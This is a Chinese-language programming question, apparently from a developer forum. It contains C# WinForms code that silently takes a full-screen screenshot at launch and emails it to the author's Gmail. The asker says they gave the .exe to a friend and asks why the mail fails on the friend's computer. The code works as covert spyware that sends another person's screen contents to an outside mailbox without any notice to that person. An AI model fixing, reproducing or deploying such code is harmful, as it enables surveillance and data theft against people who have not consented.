Question

我有一个应用程序在运行时发送邮件。当我在我的计算机上运行此应用程序时，电子邮件发送操作已成功完成（我在visual studio和.exe上运行）并收到邮件，但当我将我的应用程序作为.exe应用程序发送给我的朋友时（两个版本）尝试“发布”和“调试文件夹”）他运行，没有邮件发送和接收。这是我的代码;

public partial class Form1 : Form
{

    public static String path = "C:\\Screenshot123.jpeg";


    public Form1()
    {
        InitializeComponent();
        Screenshot();
        sendMail();
    }

    private static Bitmap Screenshot()
    {
        Bitmap Screenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
        Graphics GFX = Graphics.FromImage(Screenshot);
        GFX.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size);
        Screenshot.Save(path);
        return Screenshot;
    }

    private static void sendMail()
    {
        MailMessage ePosta = new MailMessage();
        ePosta.From = new MailAddress("mymail@gmail.com"); // sender and reciver are same
        ePosta.To.Add("mymail@gmail.com");
        ePosta.Attachments.Add(new Attachment(path));
        SmtpClient smtp = new SmtpClient();
        smtp.Credentials = new System.Net.NetworkCredential("mymail@gmail.com", "password");
        smtp.Port = 25;
        smtp.Host = "smtp.gmail.com";
        smtp.EnableSsl = true;
        smtp.SendAsync(ePosta, (object)ePosta);
    }


}
